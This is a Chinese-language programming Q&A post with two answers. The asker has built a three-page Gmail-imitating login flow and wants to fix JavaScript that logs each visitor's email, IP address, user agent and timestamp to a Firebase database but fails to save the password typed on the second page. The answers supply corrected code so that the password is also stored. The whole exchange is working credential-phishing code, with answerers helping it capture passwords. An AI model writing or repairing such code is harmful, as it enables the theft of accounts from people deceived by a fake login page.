我有三页。 第1页获取用户的电子邮件/用户名(与Gmail相同)。 获取密码并重定向到成功的登录页面。
我面临的问题: 当我在第1页输入电子邮件并重定向到第2页时,我可以获得用户代理,IP,时间戳。所有值都成功保存在数据库中。 现在在第2页中我输入密码但它没有保存在DB中。 以下是DB中的结果:
ip:
"xxx.xxx.xxx.xx"
mobile:
"vvccc"
timestamp:
"22/2/2018 16:23:56:966"
useragent:
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleW..."
firebase.initializeApp(config);
var userAgent = window.navigator.userAgent;
var req = new XMLHttpRequest();
var ip;
var timestamp;
req.onload = function () {
var d = new Date();
var dateformat = d.toTimeString();
dateformat = dateformat.split(' ')[0];
ip = JSON.parse(req.response).ip;
timestamp = d.getDate() + '/' + d.getMonth() + '/' + d.getFullYear() + ' ' + dateformat + ':' + d.getMilliseconds();
//savedata(ip,userAgent, d.getDate()+'/'+ d.getMonth()+'/'+ d.getFullYear()+' '+dateformat+':'+ d.getMilliseconds());
console.log(ip + ' ' + userAgent + ' ' + dateformat);
//Use ip asynchronously here
};
req.open("GET", "https://api.ipify.org/?format=json");
req.send();
var database = firebase.database();
var nextbutton = document.getElementById('Button1'); // Data from page 1 successfully reditected to page 2.
var pass = document.getElementById('Button2'); // Now from page 2 i redirected to page 3 , but I am unable to save its value in table.
var mobileno = document.getElementById('identifierId'); //page 1 textbox id
var password = document.getElementById('identifierId2'); //page 2 textbox id -> Unable to get its data
nextbutton.addEventListener('click', function () {
//var d = new Date();
//var dateformat = d.toTimeString();
//dateformat = dateformat.split(' ')[0];
//window.location.href = "http://stackoverflow.com";
var ip = JSON.parse(req.response).ip;
// savedata(ip, userAgent, d.getDate() + '/' + d.getMonth() + '/' + d.getFullYear() + ' ' + dateformat + ':' + d.getMilliseconds());
console.log(ip + ' ' + userAgent);
database.ref('/email').push({
mobile: mobileno.value,
ip: ip,
useragent: userAgent,
timestamp: timestamp
}
)
console.log("meesage sent" + mobileno.value)
})
pass.addEventListener('click', function () {
var ip = JSON.parse(req.response).ip;
console.log(ip + ' ' + userAgent);
database.ref('/email').push({
passw: password.value
}
)
console.log("meesage sent" + password.value)
})
答案 0 :(得分:0)
我不确定这是否是您遇到的确切问题,但我看了一下文档(https://firebase.google.com/docs/reference/js/firebase.database.Reference)。
我的假设
似乎在步骤1 中,您已经在firebase数据库中创建了一个新对象,并希望稍后使用密码更新该对象。
稍后,您尝试更新该对象,但您正在使用该代码创建新对象。因此,不会创建或更新它,因为已存在具有相同键的对象。
您应该更新对象,而不是创建另一个
注意:我从未使用过firebase,所以我可能会使用错误的标识符等,但这是关于概念的。
这是更新密码的代码示例。 <强>已更新强>
pass.addEventListener('click', function() {
var ip = JSON.parse(req.response).ip;
console.log(ip + ' ' + userAgent);
/**
* make sure you have user email to find the created tree
* This is by the assumption that userEmail is the key from the email table
*/
let userKey = mobelino.value;
//Get the Account we just created
let emailReference = database.ref('/email/' + userKey);
//Update the password
emailReference.set({
pass: password
})
//On success
.then(() => {
console.log("Success");
})
//On error
.catch(error => {
console.log('Error: ' + error)
});
});
答案 1 :(得分:0)
如果我的回答并非如此,那么也许你应该尝试从html中获取价值:
注意区别(pass:password | pass:password.value)
database.ref('/email').push({
mobile: mobileno.value,
ip: ip,
useragent: userAgent,
timestamp: timestamp,
//Before: pass: password
pass: password.value
}